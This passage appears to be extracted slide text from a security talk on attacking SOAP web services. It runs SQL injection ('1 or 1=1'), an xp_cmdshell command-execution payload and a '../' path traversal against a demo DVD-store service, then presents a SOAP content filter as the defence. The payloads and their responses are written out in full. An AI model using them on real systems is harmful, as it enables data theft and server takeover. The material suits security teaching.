  • 83. SOAP response <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --&gt; Could not find file &amp;quot; c:netpubwwrootebatesbx.xyz&amp;quot ;.</faultstring> <detail /> </soap:Fault> </soap:Body> </soap:Envelope> Path Enumeration Fault Code
  • 84.
  • 85. SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getProductInfo xmlns=&quot;http://tempuri.org/&quot;> <id>1</id> </getProductInfo> </soap:Body> </soap:Envelope> SOAP Envelope Method Call Input to the method
  • 86. SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getProductInfoResponse xmlns=&quot;http://tempuri.org/&quot;> <getProductInfoResult>/(1)Finding Nemo($14.99)/ </getProductInfoResult> </getProductInfoResponse> </soap:Body> </soap:Envelope> Product Information
  • 87. SOAP response <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --&gt; Cannot use empty object or column names . Use a single space if necessary.</faultstring> <detail /> </soap:Fault> </soap:Body> Demo Indicates SQL Server Place for SQL Injection Fault Code
  • 88. SOAP response <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getProductInfo xmlns=&quot;http://tempuri.org/&quot;> <id>1 or 1=1</id> </getProductInfo> </soap:Body> </soap:Envelope> Popular SQL Injection Fault Code
  • 89. SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getProductInfoResponse xmlns=&quot;http://tempuri.org/&quot;> <getProductInfoResult> /(1)Finding Nemo($14.99)/ /(2)Bend it like Beckham($12.99)/ /(3)Doctor Zhivago($10.99)/ /(4)A Bug's Life($13.99)/ /(5)Lagaan($12.99)/ /(6)Monsoon Wedding($10.99)/ /(7)Lawrence of Arabia($14.99)/ </getProductInfoResult> </getProductInfoResponse> </soap:Body> Works!! Entire Table Is out
  • 90. SOAP response <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getProductInfo xmlns=&quot;http://tempuri.org/&quot;> <id>1;EXEC master..xp_cmdshell 'dir c:> c:netpubwwrootsdir.txt'</id> </getProductInfo> </soap:Body> </soap:Envelope> Exploiting this Vulnerability Exploit code
  • 91. SOAP request <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getProductInfoResponse xmlns=&quot;http://tempuri.org/&quot;> <getProductInfoResult>/(1)Finding Nemo($14.99)/ </getProductInfoResult> </getProductInfoResponse> </soap:Body> </soap:Envelope> Works!! Looks Normal response
  • 92. SOAP request But … Code got executed Looks Normal response Got Admin via cmdshell
  • 93.
  • 94.
  • 95.
  • 96.
  • 97.
  • 98.
  • 99. SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getRebatesInfo xmlns=&quot;http://tempuri.org/&quot;> <fileinfo>abx.xyz</fileinfo> </getRebatesInfo> </soap:Body> </soap:Envelope> SOAP Envelope Method Call Input to the method Forcing Fault Code Source of Enumeration
  • 100. SOAP response <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <soap:Fault> <faultcode>soap:Server</faultcode> <faultstring>Server was unable to process request. --&gt; Could not find file &amp;quot; c:netpubwwrootebatesbx.xyz&amp;quot ;.</faultstring> <detail /> </soap:Fault> </soap:Body> </soap:Envelope> Path Enumeration Fault Code
  • 101. SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getRebatesInfo xmlns=&quot;http://tempuri.org/&quot;> <fileinfo>../rebates.asp</fileinfo> </getRebatesInfo> </soap:Body> </soap:Envelope> SOAP Envelope Method Call Input to the method Forcing file
  • 102. SOAP request <?xml version=&quot;1.0&quot; encoding=&quot;utf-16&quot;?> <soap:Envelope xmlns:soap=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot;> <soap:Body> <getRebatesInfoResponse xmlns=&quot;http://tempuri.org/&quot;> <getRebatesInfoResult >&lt;% ' file: rebates.asp ' date: 20-AUG-03 ' desc: rebates listing ' author: nd ' client: dvds4less 'check if we have been called with a filename or without loc = request.querystring(&quot;loc&quot;) lenloc = len(loc) if lenloc &gt; 0 then ' we have been called with a filename ' so print the rebate coupon%&gt;&lt;img …………………… . </getRebatesInfoResult> </getRebatesInfoResponse> </soap:Body> </soap:Envelope> Parameter Temparing File Access to system
  • 103.
  • 104.
  • 105.
  • 106.
  • 107.
  • 108.
  • 109.
  • 110. IIS Web Server HTTP Stack .Net Web Services IIS Web Server wsRook (Filter) Web Services Client SOAP Envelope Reject Rules for SOAP Content filtering
  • 111. .Net Web Services .asmx file IIS web server wsRook Web Services Client SOAP Input Envelope <soap:Body soap:encodingStyle=&quot;http://schemas.xmlsoap.org/soap/encoding/&quot;> <q1:getInput xmlns:q1=&quot;http://DefaultNamespace&quot;> <id xsi:type=&quot;xsd:string&quot;>12123</id> </q1:getInput> </soap:Body> DB <id xsi:type=&quot;xsd:string&quot;>12123</id> id=12123 Bal=$2500 <ns1:getInputReturn xsi:type=&quot;xsd:string&quot;> $2500 </ns1:getInputReturn> SOAP Output Envelope Content filtering
  • 112.
  • 113.
  • 114.
  • 115.
  • 116. Thanks! Email - shreeraj@net-square.com Blog - http://shreeraj.blogspot.com